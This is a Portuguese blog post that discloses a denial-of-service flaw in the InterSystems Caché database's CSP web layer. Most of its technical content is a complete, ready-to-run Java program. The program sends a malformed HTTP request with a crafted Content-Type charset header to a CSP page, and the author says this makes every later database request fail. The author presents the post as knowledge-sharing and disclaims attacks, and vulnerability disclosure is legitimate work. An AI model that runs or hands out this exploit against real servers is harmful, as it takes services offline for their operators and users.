Ataque de negação de serviços no banco de dados Intersystems Caché

Olá.

Um tema antigo, mas que vale a pena compartilhar, são as vulnerabilidades nas linguagens de programação Web.

Hoje vou compartilhar uma vulnerabilidade que encontrei no banco de dados Intersystems Caché. O Caché é conhecido por ser um banco de dados orientado a objetos que também possui uma linguagem Web, chamada de CSP (Caché Server Pages). É através do CSP que nós vamos explorar esta vulnerabilidade.

Basicamente, para que o ataque aconteça, é necessário fazer uma requisição Web de forma incorreta através do cabeçalho da requisição. Você pode utilizar qualquer linguagem, inclusive outra linguagem Web, mas no exemplo vou utilizar Java.

Segue o código (fonte):

package dos;

import java.io.*;
import java.net.*;

public class Main {
public static void main(String[] args) {
try {
Socket s = new Socket("www.site-ou-ip.com.br", 80); /// se o servidor cache utiliza outra porta, altere aqui
String cabecalho = "GET /desenv/cache20071/csp/docbook/DocBook.UI.Page.cls HTTP/1.0 \r\n"+
"Content-Type: text/xml;charset=F*Session\r\n"+
"Connection: keep-alive \r\n"+"\r\n";
DataOutputStream dos = new DataOutputStream(s.getOutputStream());
DataInputStream dis = new DataInputStream(s.getInputStream());
dos.writeBytes(cabecalho);
byte[] buff = new byte[32000];
dis.read(buff);
System.out.println("::"+ new String(buff));
buff = new byte[32000];
dis.read(buff);
System.out.println(new String(buff));
}catch(Exception e) {
e.printStackTrace();
}
}
}

O que acontece?

O Caché “perde a linha” neste momento e todas as requisições ao banco, a partir deste momento, são retornadas com erro. As informações do banco não são apagadas, você não tem acesso indevido às informações, mas o banco não vai funcionar. Isso é conhecido como ataque de negação de serviço (DoS). Esse tipo de ataque ficou conhecido no Brasil, quando hackers derrubaram sites do governo brasileiro.

Eu encontrei este mesmo erro em uma linguagem proprietária de uma multinacional brasileira, porém o problema era ainda maior. Quando o servidor identificava uma requisição errada, perdia informações, armazenava informações em locais indevidos, ou seja, uma bagunça total!

Encaminhei um relatório às pessoas envolvidas diretamente com o desenvolvimento deste framework e o erro foi corrigido.

Bom, a ideia deste post é compartilhar conhecimento e NÃO ESTIMULAR ATAQUES.

Até a próxima

Anúncios

Deixe um comentário

Faça o login usando um destes métodos para comentar:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s